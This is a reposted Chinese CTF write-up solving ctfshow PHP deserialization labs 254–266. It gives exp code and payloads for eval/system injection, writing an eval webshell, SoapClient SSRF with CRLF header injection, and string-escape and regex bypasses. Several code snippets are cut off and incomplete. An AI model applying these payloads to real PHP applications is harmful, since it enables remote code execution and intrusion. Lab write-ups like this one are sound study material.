阅读 364

ctfshow_web入门——反序列化(254~266)

web 254

这个题没有考什么,get方式传入payload即可,这里xxxxxx,就是6gex而已

payload:

?username=xxxxxx&password=xxxxxx

web 255

highlight_file(__FILE__);
include(‘flag.php‘);

class ctfShowUser{
    public $username=‘xxxxxx‘;
    public $password=‘xxxxxx‘;
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET[‘username‘];
$password=$_GET[‘password‘];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE[‘user‘]);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

审计代码,发现,可以从cookie的user中传入payload实例化字符串,同样需要isVip=True

由于cookie中将"作为截断符号,所需要编码绕过,这里采用url编码

user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A1%3A%221%22%3Bs%3A8%3A%22password%22%3Bs%3A1%3A%222%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

最后访问/?username=1&password=2得到flag

web 256

题目

highlight_file(__FILE__);
include(‘flag.php‘);

class ctfShowUser{
    public $username=‘xxxxxx‘;
    public $password=‘xxxxxx‘;
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            if($this->username!==$this->password){
                    echo "your flag is ".$flag;
              }
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET[‘username‘];
$password=$_GET[‘password‘];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE[‘user‘]);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

额,这里只是不让username和password相等即可

白嫖255payload即可

web 257

class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }
}
class info{
    private $user=‘xxxxxx‘;
    public function getInfo(){
        return $this->user;
    }
}
class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}
$username=$_GET[‘username‘];
$password=$_GET[‘password‘];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE[‘user‘]);
    $user->login($username,$password);
}

首先寻找一下unserialize函数,顺带看了一下流程。接下来找了顺便看了一下哪里能够拿到flag。但是没有找到。

在审计的过程中,看到在backdoor类中,看到了eval,于是寻找哪里能够控制code和引用back::getInfo();ctfshowuser类中的destruct中看到$this->class->getInfo();。于是想,从ctfshowuser::destruct中引用backdoor::getInfo()backdoor::code就是变量。

exp:

class=new backDoor();
	}
}
class backDoor{
    private $code="system(‘tac flag.php‘);";
}

$c=new ctfShowUser();
echo urlencode(serialize($c));

payload:

user=O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A1%3A%221%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A1%3A%222%22%3Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bb%3A0%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A23%3A%22system%28%27tac+flag.php%27%29%3B%22%3B%7D%7D

最后访问/?username=1&password=2得到flag

在类中嵌套类,需要初始化,所以使用__construact函数进行初始化赋值

web 258——绕过正则

class ctfShowUser{
    public $username=‘xxxxxx‘;
    public $password=‘xxxxxx‘;
    public $isVip=false;
    public $class = ‘info‘;

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    public $user=‘xxxxxx‘;
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    public $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET[‘username‘];
$password=$_GET[‘password‘];

if(isset($username) && isset($password)){
    if(!preg_match(‘/[oc]:\d+:/i‘, $_COOKIE[‘user‘])){
        $user = unserialize($_COOKIE[‘user‘]);
    }
    $user->login($username,$password);
}

和257差不多,这里用了/[oc]:\d+:/来过滤,我们给数字加上+来绕过。

至于为什么用加号,额,函数定义就是这么写的,如果是+那么也能正常执行(以前看到其他解释说的是,+1和1没区别,但是没有说这里C实现的过程)

这里使用一句话木马,上面那个,额,没想到

exp

class=new backDoor();
	}
}
class backDoor{
    public $code=‘eval($_POST[1]);‘;
}

$c=serialize(new ctfShowUser());
$b=str_replace(‘:11‘,‘:+11‘,$c);
$b=str_replace(‘:8‘,‘:+8‘,$b);
echo urlencode($b);

这题卡了很久,因为我是复制粘贴257来修改的,没有注意到属性,,,,

web 259——ssrf

不懂,去找个wp,所以本题是直接抄的。

flag.php
$xff = explode(‘,‘, $_SERVER[‘HTTP_X_FORWARDED_FOR‘]);
array_pop($xff);
$ip = array_pop($xff);


if($ip!==‘127.0.0.1‘){
	die(‘error‘);
}else{
	$token = $_POST[‘token‘];
	if($token==‘ctfshow‘){
		file_put_contents(‘flag.txt‘,$flag);
	}
}
getFlag();

如果调用一个没有定义的方法,那么就会使用类本身的call方法。由于给了个ssrf的代码,那么河里推断这是一个ssrf的原生类。

看完了大师傅的视频,大概明白要赶个什么了。顺便说一句,大师傅太顶了!!!

我这里就在kali中做测试了,因为不想在本机上下载nc工具。

额,在kali中,还需要把soap的PHP扩展下载一下。这就比Windows可能方便很多了(只针对我个人嘛),因为我在Windows中装了一个PHP环境,用的不是phpstudy那边的PHP,所以自己添加外包可能有点麻烦,最主要还是是因为不想在Windows上装nc;

写得多,但是仔细看完就没什么了

安装扩展包

  1. 首先查看一下有没有soap包扩展(应该是没有的)
nl /etc/php/7.4/apache2/php.ini|grep soap
  1. 下载外包(根据自己的机器上的版本下载)
apt-get install php7.4-soap
  1. 再查看一下soap包扩展
nl /etc/php/7.4/apache2/php.ini|grep soap

这个时候,应该是能够查看到的,效果如下,也有可能要等一下

可以看到;extension=soap,说明soap扩展已经下载好了,接下来只需要将;去除即可。这样也就算了下载且添加进了PHP中,可以使用了。

这里建议去文件夹中打开文件,去除,因为可以ctrl f好找。我实在没信心从vim准确的翻到807行。(太菜了,不会用vim,如果师傅们愿意留个言说一下怎么找,不胜感激)

接下来回到题目

在kali中打开nc工具监听一个端口,开一个终端来跑代码;打开web259.php文件(自己写的),布局可以参考一下下面的。

在web259.php中写入代码,(代码不全,因为是一步一步来的,我是希望将题目笔记尽量做细致一点,后来复习的时候也能看懂)

"http://127.0.0.1:8181","location"=>"http://127.0.0.1:8181/flag.php","user_agent"=>$ua));

$client->getFlag();

开启nc侦听8181端口,接着运行web259.php,从nc工具中可以看到侦听到的数据User-Agent: ctfshow,注入的user-agent已经成功了。(目前进度大概是60%)

看题目:

  1. 题目要从X-Forwarded-For中获取ip。
    将X-Forwarded-For按照,分为数组,接着array_pop第一个元素,最后用第二个元素来作为ip;

所以构造

$ua="ctfshow\nX-Forwarded-For:127.0.0.1,127.0.0.1"
  1. 题目要求是post传入的参数,所以要构造一个post表单传入参数token=ctfshow

所以构造

$ua="ctfshow\nX-Forwarded-For:127.0.0.1,127.0.0.1\nContent-Type: application/x-www-form-urlencoded\nContent-Length:13\n\ntoken=ctfshow";

因为设置了Content-Length=13,所以只取后面13位,也就恰好吧token=ctfshow取完就停止;十分的严格。顺便补一句,反序列化的规矩也是10分的严格。

由于本地应该是80或者是8080端口,把:8181去掉就行了,利用默认端口进去;

最后exp是:

"http://127.0.0.1","location"=>"http://127.0.0.1/flag.php","user_agent"=>$ua));

/*$client->getFlag();*/
echo urlencode(serialize($client));

payload:

url?vip=O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A16%3A%22http%3A%2F%2F127.0.0.1%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A124%3A%22ctfshow%0AX-Forwarded-For%3A127.0.0.1%2C127.0.0.1%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0AContent-Length%3A13%0A%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

访问url/flag.txt拿到flag

这个题,就做完了。师傅们太顶了,顶呱呱;

web 260

???,没仔细看,get传入ctfshow=ctfshow_i_love_36D就拿到了

是对传入的字符串进行序列化,然后检测有没有ctfshow_i_love_36D

web 261

username=$u;
        $this->password=$p;
    }
    public function __wakeup(){
        if($this->username!=‘‘ || $this->password!=‘‘){
            die(‘error‘);
        }
    }
    public function __invoke(){
        eval($this->code);
    }

    public function __sleep(){
        $this->username=‘‘;
        $this->password=‘‘;
    }
    public function __unserialize($data){
        $this->username=$data[‘username‘];
        $this->password=$data[‘password‘];
        $this->code = $this->username.$this->password;
    }
    public function __destruct(){
        if($this->code==0x36d){
            file_put_contents($this->username, $this->password);
        }
    }
}

unserialize($_GET[‘vip‘]);

审计代码发现:

  1. 有__unserialize(),在7.4以上版本反序列化会绕过__wakeup()函数。
  2. 在destruct()函数中,有file_put_contents可以写入文件,一句话木马儿
  3. $this->code==0x36d是弱类型比较,0x36d又有没有打引号,所以代表数字,且数字是877,那么877a877.php等可以通过比较;所以设置username=‘877.php‘来通过比较

所以exp:

‘;
    public $code=0x36d;

    public function __invoke(){
        eval($this->code);
    }
    public function __destruct(){
        if($this->code==0x36d){
            file_put_contents($this->username, $this->password);
        }
    }
}
$c=new ctfshowvip();
echo serialize($c);

payload:

url/?vip=O:10:"ctfshowvip":3:{s:8:"username";s:7:"877.php";s:8:"password";s:24:"";s:4:"code";i:877;}

访问url/877.php执行一句话木马,1=system(‘cat /flag_is_here‘);拿到flag

261还说是打redis,吓了一跳。。。

web 262——字符串逃逸_部分替换

from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET[‘f‘];
$m = $_GET[‘m‘];
$t = $_GET[‘t‘];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace(‘fuck‘, ‘loveU‘, serialize($msg));
    setcookie(‘msg‘,base64_encode($umsg));
    echo ‘Your message has been sent‘;
}

highlight_file(__FILE__);

先审计一下代码,发现:

  1. fuck会被替换为loveU
  2. 没有看到能够利用的函数或者是和flag有关的,不过找到message.php,(建议上午或者下午做题,晚上貌似是做题巅峰,是在是卡)
from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

if(isset($_COOKIE[‘msg‘])){
    $msg = unserialize(base64_decode($_COOKIE[‘msg‘]));
    if($msg->token==‘admin‘){
        echo $flag;
    }
}

再审计之后发现,貌似可以直接从message.php这里,只需要看这么一段,就行了,也不用逃逸了,,,,

if(isset($_COOKIE[‘msg‘])){
    $msg = unserialize(base64_decode($_COOKIE[‘msg‘]));
    if($msg->token==‘admin‘){
        echo $flag;
    }
}

上分做法:

payload:

msg=Tzo3OiJtZXNzYWdlIjo0OntzOjQ6ImZyb20iO047czozOiJtc2ciO047czoyOiJ0byI7TjtzOjU6InRva2VuIjtzOjU6ImFkbWluIjt9

在message.php页面中,F12,cookie添加msg,刷新,拿到flag

字符串逃逸

首先要知道这里是将fuck修改成了loveU,由4个字符长度,变成了5个,长度发生了变化,导致了反序列化字符串结构改变。

我们知道,反序列化过程十分的严格,多读取一个,或者是少读取一个都是不被允许,会报错的。一旦长度有了变化,那么就会报错。加入我们精心构造一个字符串,那么不但不会报错,而且还能够拿到flag。

看了message.php我们知道,只需传入的payload在反序列化的时候,反出来一个token=admin,就行。

这是用来测试的文件

from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET[‘f‘];
$m = $_GET[‘m‘];
$t = $_GET[‘t‘];

$msg = new message($f,$m,$t);
$umsg = str_replace(‘fuck‘, ‘loveU‘, serialize($msg));
echo $umsg;echo "
"; var_dump(unserialize($umsg));#如果反序列化成功,就会输出结果,没结果就是bool(false)

首先拿到一个正常的,反序列化字符串

取末尾几位:";s:5:"token";s:5:"admin";},这长度为27

我们于是我们构造:t=3";s:5:"token";s:5:"admin";}

此时,用fuck来进行测试:&t=fuck";s:5:"token";s:5:"admin";},将fuck放在前面

由于长度变化了,反序列化也会失败。

看到了fuck编程loveU,长度由31变成了32,抵出去了一个字符的位置。

由于字符串是一个一个读取的,所以这里被抵出去的是}

一个fuck会抵出去一个位置,那么两个fuck就会抵出去两个(** :}**)位置;

假如";s:5:"token";s:5:"admin";}被抵出去了,那么就能够恰好的满足反序列化的条件了。

所以,有多少个fuck就会抵出去多少个位置;就需要len(";s:5:"token";s:5:"admin";})个fuck,也就是27个。

最后构造得到

t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

拿到这个构造的payload,在题目中提交

url?f=1&m=3&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

访问url/message.php拿到flag

文辞有限,笔墨仅限于此。

没有说清楚的话,

web 253

dirsearch扫描发现www.zip,看来是seesion反序列化了,

 ‘mysql‘,
    ‘database_name‘ => ‘web‘,
    ‘server‘ => ‘localhost‘,
    ‘username‘ => ‘root‘,
    ‘password‘ => ‘root‘,
    ‘charset‘ => ‘utf8‘,
    ‘port‘ => 3306,
    ‘prefix‘ => ‘‘,
    ‘option‘ => [
        PDO::ATTR_CASE => PDO::CASE_NATURAL
    ]
]);

// sql注入检查
function checkForm($str){
    if(!isset($str)){
        return true;
    }else{
    return preg_match("/select|update|drop|union|and|or|ascii|if|sys|substr|sleep|from|where|0x|hex|bin|char|file|ord|limit|by|\`|\~|\!|\@|\#|\\$|\%|\^|\\|\&|\*|\(|\)|\(|\)|\+|\=|\[|\]|\;|\:|\‘|\"|\<|\,|\>|\?/i",$str);
    }
}


class User{
    public $username;
    public $password;
    public $status;
    function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
    function setStatus($s){
        $this->status=$s;
    }
    function __destruct(){
        file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format(‘Y-m-d H:i:s‘));
    }
}

/*生成唯一标志
*标准的UUID格式为:xxxxxxxx-xxxx-xxxx-xxxxxx-xxxxxxxxxx(8-4-4-4-12)
*/

function  uuid()  
{  
    $chars = md5(uniqid(mt_rand(), true));  
    $uuid = substr ( $chars, 0, 8 ) . ‘-‘
            . substr ( $chars, 8, 4 ) . ‘-‘ 
            . substr ( $chars, 12, 4 ) . ‘-‘
            . substr ( $chars, 16, 4 ) . ‘-‘
            . substr ( $chars, 20, 12 );  
    return $uuid ;  
}  

想了一下,突然意识到,貌似session反序列化可以直接把session中能反的给了;

人给我做傻了这题,不知道是不是因为开局就输入账号密码错误了几次,导致后来的cookie没有写入给整自闭了。所以查看cookie,limit一直是1。就有点不明所以了。

审计代码:

找到,当user类被析构的时候,会有file_put_content的,执行,借此可以吸入一句话木马;

web 264

session的反序列化字符串逃逸,其实和262没有区别,把262payload拿过来用就行;只是需要再设置一个msg的cookie,即可

这个题没有设置session反序列化的处理器,那就是磨人的,也就和平时反序列化代码的模式一样。所以这里可以按照262的方式去理解

web 265——引用

token=$t;
        $this->password = $p;
    }
    public function login(){
        return $this->token===$this->password;
    }
}

$ctfshow = unserialize($_GET[‘ctfshow‘]);
$ctfshow->token=md5(mt_rand());

if($ctfshow->login()){
    echo $flag;
}

由于mt_rand()预测不了,我预测不了,万一有大佬能预测呢,,,且md5(mt_rand())确实预测不了。

可以利用引用的方式,将password赋值为token的引用

exp

password=&$this->token;
    }
}

$c=new ctfshowAdmin();
echo (serialize($c));echo"\n";

payload:

url/?ctfshow=O:12:"ctfshowAdmin":2:{s:5:"token";N;s:8:"password";R:2;}

web 266——伪协议,正则绕过

include(‘flag.php‘);
$cs = file_get_contents(‘php://input‘);


class ctfshow{
    public $username=‘xxxxxx‘;
    public $password=‘xxxxxx‘;
    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function login(){
        return $this->username===$this->password;
    }
    public function __toString(){
        return $this->username;
    }
    public function __destruct(){
        global $flag;
        echo $flag;
    }
}
$ctfshowo=@unserialize($cs);
if(preg_match(‘/ctfshow/‘, $cs)){
    throw new Exception("Error $ctfshowo",1);
}

审计代码:

发现,反序列话的是$cs=file_get_contnets(php://input),同时在__destruct中有输出flag的语句。暗示了要找个机会传入一个ctfshow类进去。恰好看到$cs对字符串ctfshow过滤了,也就明示了要传入ctfshow类的字符串给cs。这题就差把flag顺手给提交了。

php://input伪协议是post输入的参数。首先拿到一个ctfshow类的反序列化字符串;

得到

O:7:"ctfshow":2:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";}

利用burp传值;在hackbar中,post不能传入单个字符串,必须是以a=b形式传入,只传入b是不行的,所以要利用到burp,抓包,改值。

由于过滤了ctfshow但是我这里用的是cTFSHOW,在PHP中,类不区分大小写;所以绕过了过滤。

如果进入了判断,就会异常,然后不执行析构函数。

破坏结构进行析构

就是说,传入一个破坏了反序列化字符串结构的字符串进去,使得,即使异常了,也会析构。

新看到方法,太顶了,就看不懂为什么。。。。

魔术方法

1.__construct()
	触发条件:new一个实例化对象的时候
	作用:初始化函数,对类进行初始化,同时也可以执行其它语句
2.__desturct()
	触发条件:销毁一个实例化对象的时候
	作用:析构函数,对实例化对象销毁,同时也可以执行其它语句
3.__wakeup()
	触发条件:反序列化时触发
	作用:额,就是调用一下,函数有什么功能这是自己定义的
4.__sleep()
	触发条件:序列化的时候触发
	作用:额,就是调用一下,函数有什么功能这是自己定义的
5.__invoke
	作用:当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。
	例如:class Ctfshow,然后使用$Ctfshow();时被调用
3.__unserialize()
	触发条件:7.4以上版本,反序列化时触发,且绕过__wakeup()

如果有写得不对的地方,斗胆请师傅们斧正

原文:https://www.cnblogs.com/upstream-yu/p/15194626.html

文章分类
代码人生
版权声明:本站是系统测试站点,无实际运营。本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 XXXXXXo@163.com 举报,一经查实,本站将立刻删除。
相关推荐